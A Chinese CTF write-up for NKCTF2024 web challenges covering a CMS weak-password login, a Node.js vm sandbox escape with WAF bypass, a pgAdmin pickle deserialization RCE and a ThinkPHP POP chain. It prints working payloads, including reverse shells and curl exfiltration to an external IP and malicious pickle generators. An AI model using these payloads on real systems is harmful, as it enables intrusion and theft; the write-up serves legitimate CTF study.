NKCTF2024 Write Up


写一下wp

my first cms

抽象,弱密码字典没有Admin123导致的

CMS Make Simple 2.2.19,直接搜一堆cve

但是都需要后台登录,后台在/admin

爆破就能拿到,但是得找一个好点的字典,唉。

1
2
admin
Admin123

已将Admin123添加入我的词典,cnmd

这里爆出来Admin123

进入后台随便打

1
Extensions -> User Defined Tags -> Edit User Defined Tag -> 输入命令,submit/apply然后run即可

全世界最简单的CTF

确实挺简单的,也很有意思。

考的nodejs vm虚拟机逃逸

访问/secret就可以找到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){
res.sendFile(__dirname + '/public/home.html');
})


function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if(code.match(pattern)){
throw new Error("what can I say? hacker out!!");
}
}

app.post('/', function (req, res){
let code = req.body.code;
console.log(code)
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch (e){
console.log(e.message);
require('./hack');
}
})

app.get('/secret', function (req, res){
if(process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
})


app.listen(3000, ()=>{
console.log("listen on 3000");
})

简单看看吧,就是在主路由post的时候导致的。有waf,源码很简单

vm虚拟机逃逸的主要原因就在于我们能够通过原型链拿到外部的全局变量process,再通过process对象加载child_process导致rce。又或者能够获取到eval从而rce:

我们一个简单的payload是这样打的:

1
2
3
const vm = require("vm")
const a = vm.runInNewContext(`this.constructor.constructor('return global')()`)
console.log(a.process)

这里的this是指当前传递给runInNewContext的对象,这个对象不属于沙箱环境,此时能够通过constructor拿到构造器,再获取构造器的构造器,此时就会返回一个函数的构造器([Function: Function]),此时构造return global就会返回global对象

然后接下来就是

1
console.log(a.process.mainModule.require('child_process').execSync('whoami').toString())

就可以了

另一种方法是通过toString的构造器来获取

但是这种方法有一种限制,那就是沙箱不能置空。

这里如果是这样的情况的话,我们就不能够通过this对象拿到global了:

1
2
3
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
let result = vm.runInContext(code3, context);

此时沙箱为null,我们this对象也是null,没有其他可以引用的函数

此时就得用arguments.callee.caller,它可以返回函数的调用者

我们在沙箱内定义一个函数,然后再在沙箱外调用这个函数,这样它就会返回沙箱外的一个对象,这样就能够进行逃逸了。例如下面重写了toString,如果下文有调用toString方法的就可以逃逸:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
let code = `(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()`;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try{
let result = vm.runInContext(code3, context);
console.log('Hello ' + result);
}
catch(e){
console.log(e.message);
}

由于下面console.log进行了字符串拼接操作,这里就调用了toString,就能够逃逸出来:

1
Hello err0r233

如果下文没有调用函数,但是它访问了结果的一些属性,我们就可以将payload改成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
let code2 = `
(() =>{
const a = new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
return a
})()
`;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try{
let result = vm.runInContext(code3, context);
console.log(result.abc);
}
catch(e){
console.log(e.message);
}

将code2定义成一个代理,然后在proxy里写恶意函数,当访问这个代理对象的任意属性时都会触发函数,造成rce

但是如果这些都没有怎么办呢

可以借助异常抛出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const vm = require("vm");

const script =
`
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
`;
try {
vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
console.log(e.message)
}

抛出异常的时候就会报错,连带rce后的结果一起出来

回到这题。显而易见我们要构造第三种异常形式抛出的逃逸,所以payload的格式基本上就不变了。问题就在怎么绕waf。

这里就有两种处理方式

换是什么呢?

我们的payload里process比较难处理,我当时就打算换一个没有process的方法,也就是获取eval。

获取eval的方法在这里:

nodejs代码执行绕过的一些技巧汇总_node.js_脚本之家 (jb51.net)

还记得java的反射吗?nodejs也能够通过反射获取到函数:

1
global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]

但是这里不对啊,要绕中括号

所以下面有个中括号的方法:

1
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))

这里有个小trick

假如eval被过滤,可以通过includes(‘eva’)来获取,也可以通过startsWith(‘eva’)来获取

那就是通过反射获取到eval

那global呢?

我们上面获取到的是process,所以改成global就可以了

接下来获取到了eval,那就要搞要执行的命令了

这里我利用上面文章的wp很容易就能够得出一条payload:

1
eval(Buffer.from('cmd', 'decode_format').toString())

cmd肯定是反弹shell,因为vm虚拟机逃逸无回显,对于解码的格式他也没有waf过滤掉,所以任意加密格式都可以,例如base64、十六进制

我们已经通过反射获取到eval了,我们再通过反射获取到Buffer.from即可

1
2
3
//获取Buffer
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('Buf')))
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith('Buf')))

那怎么获取Buffer.from呢,看一下会发现Buffer.from其实可以通过Object.values获得:

  • Object.values()返回对象自身的所有可枚举属性的数组

仔细看下Buffer:

他在Buffer的第二个位置,也就相当于Buffer[1]

这里利用Object.values(Buffer)

反射改造一下:

1
Reflect.get(Object.values(Buffer),1)

那中间Buffer再用反射获取一下就好了:

1
2
//获取Buffer.from
console.log(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith('Buf')))),1))

此时万事俱备

payload如下:

1
throw new Proxy({},{get: function(){const cc = arguments.callee.caller;const q = (cc.constructor.constructor('return global'))();return Reflect.get(q, Reflect.ownKeys(q).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(q, Reflect.ownKeys(q).find(x=>x.startsWith('Buf')))),1)('70726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e63282262617368202d63202762617368202d69203e262f6465762f7463702f3130362e35322e39342e32332f3233333320303e26312722292e746f537472696e672829','hex').toString());}})

十六进制打反弹shell的payload就好了

为什么不用base64,因为base64过后我的payload有加号,绕不过waf

反弹过来的shell要读/readflag

我学弟这边用的是另一种拼接的方法

1
const str1='pro';const str2='cess';str3=`child_`;const forstr1=`${str1}${str2}`;forstr2=`${str3}${str1}${str2}`;throw new Proxy({},{get: function(){const cc = arguments.callee.caller;const p = (cc.constructor.constructor(`return ${forstr1}`))();object=p.mainModule.require(`${forstr2}`);return Reflect.get(object,Reflect.ownKeys(object).find(x=>x.includes('ecSync')))(\"curl <vps地址> -d `/readflag`\").toString();}})

用到的是curl带出/readflag

挺好玩的这个payload

再看看官方解:

官方解注意到/secret路由中对process.__filename有个判断

1
2
3
4
5
6
7
8
9
app.get('/secret', function (req, res){
if(process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
})

但是正常情况下process是没有__filename这个函数的,所以我们可以想到原型链污染掉process.__filename

1
2
3
4
5
6
7
8
9
const script = 
`
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
cc.__proto__.__proto__.__filename="anyfilename";
}
})
`;

就能够实现任意的文件读

源码里有个我们之前根本没用到的/hack.js

污染掉filename为/app/hack.js的时候进去读hack.js看到:

1
console.log('shell.js');

再读shell.js:

1
2
3
console.log('shell');
const p = require('child_process');
p.execSync(process.env.command)

那这样,污染掉command,再利用下面网址的方法污染从而导致任意文件包含的效果:

https://hujiekang.top/posts/nodejs-require-rce/

这篇wp也非常有意思,有机会去仔细研究一下。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
const script = 
`
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
cc.__proto__.__proto__.__filename="anyfilename";
cc.__proto__.__proto__.data = {"name": "./hack", "exports": "./shell.js"};
cc.__proto__.__proto__.path = "/app";
cc.__proto__.__proto__.command = "bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'";
}
})
`;

attack_tacooooo

这题,没猜到密码是啥。。

反正两题都败在密码上了,唉,密码居然是这个人人名。

1
2
tacooooo@qq.com
tacooooo

反正是个pgadmin的框架,那就搜咯

漏洞预警 | pgAdmin4反序列化漏洞 | CN-SEC 中文网

what can i say, mamba out

poc直接打就行了

Shielder - pgAdmin (<=8.3) Path Traversal in Session Handling Leads to Unsafe Deserialization and Remote Code Execution (RCE)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import struct
import sys

def produce_pickle_bytes(platform, cmd):
b = b'\x80\x04\x95'
b += struct.pack('L', 22 + len(platform) + len(cmd))
b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
b += b'\x94\x8c\x06system\x94\x93\x94'
b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
b += b'\x94\x85\x94R\x94.'
print(b)
return b

if __name__ == '__main__':
if len(sys.argv) != 2:
exit(f"usage: {sys.argv[0]} ip:port")
with open('nt.pickle', 'wb') as f:
f.write(produce_pickle_bytes('nt', f"mshta.exe http://{HOST}/"))
with open('posix.pickle', 'wb') as f:
f.write(produce_pickle_bytes('posix', f"curl http://{HOST}/"))

这里nt.pickle是windows的

posix.pickle是linux的

我们稍微改一下它的python,就可以到这题了,没有bash, curl。可以试试nc反弹shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import struct
import sys

def produce_pickle_bytes(platform, cmd):
b = b'\x80\x04\x95'
b += struct.pack('L', 22 + len(platform) + len(cmd))
b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
b += b'\x94\x8c\x06system\x94\x93\x94'
b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
b += b'\x94\x85\x94R\x94.'
print(b)
return b

if __name__ == '__main__':
with open('posix.pickle', 'wb') as f:
f.write(produce_pickle_bytes('posix', f"nc ip port -e /bin/sh"))

然后接下来的操作就是

  • 进入Storage Manager组件(存储管理器)
  • 上传posix.pickle
  • 改cookie,将pga4_session改成../storage/<email>/posix.pickle!a,其中<email>改为当前登录用户的邮箱,@用下划线代替
  • 其实应该是/storage的路径/tacooooo_qq.com/posix.pickle,pga4_session直接添加在原有的cookie里:

具体在哪呢?简单搜一下就看见了:

如何在pgAdmin4中永久保存标识文件的路径-腾讯云开发者社区-腾讯云 (tencent.com)

路径是/var/lib/pgadmin/storage

1
/var/lib/pgadmin/storage/tacooooo_qq.com/posix.pickle!a

这题更是折磨,我复制poc的pickle 怎么打不了?

自己写一个pickle就能打了,神经

1
2
3
4
5
6
7
8
9
import pickle
class Person:
def __reduce__(self):
return (eval, ("__import__('os').system('nc ip port -e /bin/sh')",))
result = pickle.dumps(Person(),0)

if __name__ == '__main__':
with open('posix.pickle', 'wb') as f:
f.write(result)

shell弹过来以后访问crontab -l

这题难蚌密码

用过就是熟悉

有意思的thinkphp反序列化!

这里可以通过db.sql找到guest的密码,如果没有的话就可以参考一下wp是怎么爆这个secret.txt的

1
INSERT INTO `system_log` VALUES (377, '2c5e224cb2b5aaab51e3f43ff7595ebb', 2, 'admin.member.edit', '{\"userID\":\"2\",\"name\":\"guest\",\"roleID\":\"1\",\"email\":\"\",\"phone\":\"\",\"nickName\":\"guest\",\"avatar\":\"\",\"sex\":\"1\",\"sizeMax\":\"2\",\"sizeUse\":\"2072\",\"status\":\"1\",\"lastLogin\":\"1709790070\",\"modifyTime\":\"1709804480\",\"createTime\":\"1709036345\",\"groupInfo\":\"{\\\"1\\\":\\\"5\\\"}\",\"jobInfo\":\"[]\",\"sourceInfo\":\"{\\\"sourceID\\\":\\\"17\\\",\\\"size\\\":\\\"1806\\\"}\",\"password\":\"!@!@!@!@NKCTFChu0\",\"addMore\":\"more\",\"_change\":{\"password\":\"!@!@!@!@NKCTFChu0\"},\"ip\":\"::1\"}', 1709873243);
1
2
guest
!@!@!@!@NKCTFChu0

相当于是偷步了,如果想看正解可以去看官方wp

进去后垃圾箱有个shell,还原到桌面,一个新建文档.html,上面是

1
2
/var/www/html/data/files/shell
<?php eval($_POST['0']);?>

这里太过于专注找rce洞了,没想到这个路径是能够直接访问的

代审发现了一个难蚌的东西:

他说这里有hint…

估计是想暗示我们在think文件夹下的问题

好家伙,这藏这么深。。。。

这里有个反序列化的点

那接下来找找有什么地方。再结合这个shell,不难想到可以想办法包含这个shell,那就是找include:

这个时候就能够全局搜索启动了,基本上锁定的都是think框架里的东西:

反正是挺折磨的,因为不知道要用哪个,太多同名却不能够用的函数,要找还是很麻烦的

这里官方给了一点也不算是小技巧的小技巧:

登录就找index或者login的文件

反序列化找call或者destruct

这里在app/controller/user/think/Config.php找到一个

1
2
3
4
5
6
7
8
public function __call(string $name, array $arguments)
{
if (strpos($arguments[0]['name'],'.')){
die('Error!');
}else{
include("./".$arguments[0]['name']);
}
}

这里call可以包含任意文件

我们先找链子,再研究thinkphp的反序列化怎么操作:

1
Config.php::__call

这边反正肯定是在这个test翻的,接下来就找什么东西能够触发call:

发现这个地方会调用$engine的config

结束

1
Config.php::__call <- View.php::config()

这里看似可控,但是参数不对。。。

看了挺多config函数,发现基本上触发不了

换个地方,核心思想就是找$this->a->b(),触发call,而且最好是我们熟悉的魔术方法

这里有个get

1
2
3
4
public function __get($name)
{
$this->data[$name]->Loginsubmit($this->engine);
}

get这里要看data是否可控

1
protected $data = [];

很明显,可控

所以我们要找个方法触发get,get是访问不存在的对象触发的

但是还是一样,搜索$this->a->b,慢慢找

1
Config.php::__call <- View.php::__get

审了我一年,终于找到

items->Loginout,并且items可控

接下来就是:

1
Config.php::__call <- View.php::__get <- Collections::toArray() <-

找触发toArray

这边在Collections里找到json_encode和json_serialize

json_serialize没有别的类可以触发的(这边只有Collections.php和Paginator.php有,而且都是调用本类的toArray方法)

那就看看encode,找toJson方法:

发现了本类的__toString调用

1
Config.php::__call <- View.php::__get <- Collection.php::toArray() <- Collection.php::__toString <- 

找一个地方利用的,想起来好像什么地方有个东西直接拼接字符串的?

好像是个filename的函数,搜一下

果然啊,在这里

1
2
3
4
5
6
7
private function removeFiles()
{
foreach ($this->files as $filename) {
$result = "File"."$filename"."can't move.";
}
$this->files = [];
}

直接拼接filename,并且files可控

找一下这个removeFiles的调用

找到了__destruct,入口

总结一下:

1
Config.php::__call <- View.php::__get <- Collection.php::toArray() <- Collection.php::__toString <- Windows.php::removeFiles() <- Windows.php::__destruct

接下来就是变量要塞啥

1
2
3
4
5
6
Files函数肯定塞一个Collection类的对象的,这样就能够触发toString,而且是个ForEach,所以要塞数组
仔细看Collection里直到toArray才需要items变量,所以items塞View对象

view对象再看要一个data[$name],所以data[$name]是一个Config对象,这里的$name根据上面的get传来,其实就是Loginout,data本身是个数组(

最后Config对象触发的时候还要调一下engine参数,是一个数组,里面有我们需要的arguments

tp的php反序列化要这么写,要多加命名空间,这个namespace可以在php的定义里看见:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
namespace think\process\pipes{
class Windows{
private $Files;
public function __construct($a){
$this->files = [$a]; //这一步将我们传入的Collection类对象变成数组形式
}
}
}
namespace think{
class Collection{
protected $items;
public function __construct($a){
$this->items = $a;//这一步将items赋值为view对象
}
}
}
namespace think{
class View{
protected $data;
public $engine;
public function __construct($a){
$this->data = array("Loginout"=>$a);//这一步将data变成一个数组,让我们的__get方法调用到Config类的__call
$this->engine = array(array("name"=>"/var/www/html/data/files/shell"));
}
}
}
namespace think{
class Config{} //Config啥都不用动
}

namespace{
$Config = new think\Config();
$View = new think\View($Config);
$Collection = new think\Collection($View);
$Windows = new think\process\pipes($Collection);
echo base64_encode(serialize($Windows));
}

发包给password,然后post

这里没回显,反弹shell测试下

1
0=system("bash -c 'bash -i >&/dev/tcp/106.52.94.23/2333 0>&1'");

本地起个docker测试一下

难蚌,debug了一下午发现少加了个windows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
namespace think\process\pipes{
class Windows{
private $files;
public function __construct($a){
$this->files = [$a]; //这一步将我们传入的Collection类对象变成数组形式
}
}
}
namespace think{
class Collection{
protected $items;
public function __construct($a){
$this->items = $a;//这一步将items赋值为view对象
}
}
}
namespace think{
class View{
protected $data;
public $engine;
public function __construct($a){
$this->data = array("Loginout"=>$a);//这一步将data变成一个数组,让我们的__get方法调用到Config类的__call
$this->engine = array("name"=>"data/files/shell");//等下给大家看看是为什么
}
}
}
namespace think{
class Config{} //Config啥都不用动
}

namespace{
$Config = new think\Config();
$View = new think\View($Config);
$Collection = new think\Collection($View);
$Windows = new think\process\pipes\Windows($Collection);
echo base64_encode(serialize($Windows));
}

最后一步engine那卡了挺久,这边调试了一下看看是什么情况

在传入$arguments的时候是call方法,而call方法的参数传进去默认就是一个array,可以给大家测试看看

我们确实是需要一个array,但是我们只需要一个array,call方法会再帮你加一个array,而data/files/shell就是为了符合include的路径

发现不能够bash反弹,nc反弹

这边用curl带出:

1
0=system("curl http://106.52.94.23:2333/`ls /|base64`");

这里由于ls的原因导致不base64会导致我们的结果只有一行

读到flag